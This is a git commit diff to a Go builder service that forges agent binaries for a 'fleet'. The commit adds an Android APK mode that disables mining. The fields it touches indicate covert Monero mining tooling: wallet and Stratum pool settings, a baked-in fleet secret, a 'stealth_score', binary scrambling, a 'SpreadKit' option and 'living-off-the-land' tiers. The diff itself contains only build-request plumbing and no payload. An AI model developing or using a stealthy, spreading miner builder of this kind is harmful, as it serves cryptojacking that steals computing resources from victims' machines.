Add Android APK fleet nodes with Crucible UI integration and tests.

APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
This commit is contained in:
AetherForge
2026-06-07 02:44:29 -07:00
parent d9f36f182c
commit 50ebfe53cb
89 changed files with 2849 additions and 82 deletions

View File

@@ -122,6 +122,11 @@ type BuildRequest struct {
LotlOnionEnabled bool `json:"lotl_onion_enabled"`
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
// APK mode — Android fleet node (mining off by default).
ApkMode bool `json:"apk_mode"`
ApkAgentName string `json:"apk_agent_name"`
MiningDisabled bool `json:"mining_disabled"`
}
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
@@ -157,6 +162,7 @@ type BuildResponse struct {
SigilScramble bool `json:"sigil_scramble,omitempty"`
BinaryFingerprint string `json:"binary_fingerprint,omitempty"`
StealthScore int `json:"stealth_score,omitempty"`
ArtifactPath string `json:"artifact_path,omitempty"`
Error string `json:"error,omitempty"`
}
@@ -204,6 +210,9 @@ type Handler struct {
// can poll GET /api/v1/builder/progress/{token} instead of running a fake timer.
activeProgressMu sync.RWMutex
activeProgress map[string]BuildProgress
// apkBuildFn overrides APK packaging (tests inject a mock gradle/script).
apkBuildFn ApkBuildFunc
}
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
@@ -593,6 +602,9 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
}
func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) {
if req.ApkMode {
return h.buildAPKAgent(ctx, req)
}
if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" {
return h.buildUniversalAgent(ctx, req, prepPath)
}
@@ -928,10 +940,13 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.ServerURL == "" {
return fmt.Errorf("server_url is required")
}
if req.Wallet == "" {
if req.ApkMode {
ApplyApkBuildPreset(req)
}
if !req.ApkMode && req.Wallet == "" {
return fmt.Errorf("wallet is required")
}
if h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) {
if !req.ApkMode && h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) {
return fmt.Errorf("wallet must be a valid Monero mainnet address (starts with 4, 90106 chars)")
}
req.OutputDir = strings.TrimSpace(req.OutputDir)
@@ -1043,6 +1058,10 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.PoolPass == "" {
req.PoolPass = "x"
}
if req.ApkMode {
req.FusionEnabled = false
req.SpreadKit = false
}
if req.FusionEnabled {
if req.FusionRunOrder == "" {
req.FusionRunOrder = "parallel"
@@ -1071,7 +1090,11 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
}
}
if strings.TrimSpace(req.TargetOS) == "" {
req.TargetOS = "windows"
if req.ApkMode {
req.TargetOS = "android"
} else {
req.TargetOS = "windows"
}
}
if req.SpreadKit {
req.FusionEnabled = false
@@ -1249,6 +1272,9 @@ func GetBuiltinConfig() BuiltinConfig {
LotlOnionEnabled: %v,
LotlPolicyFromServer: %v,
LotlOnionTiers: %s,
ApkMode: %v,
MiningDisabled: %v,
}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
@@ -1331,6 +1357,8 @@ func GetBuiltinConfig() BuiltinConfig {
req.LotlOnionEnabled,
req.LotlPolicyFromServer,
formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)),
req.ApkMode,
req.MiningDisabled,
)
}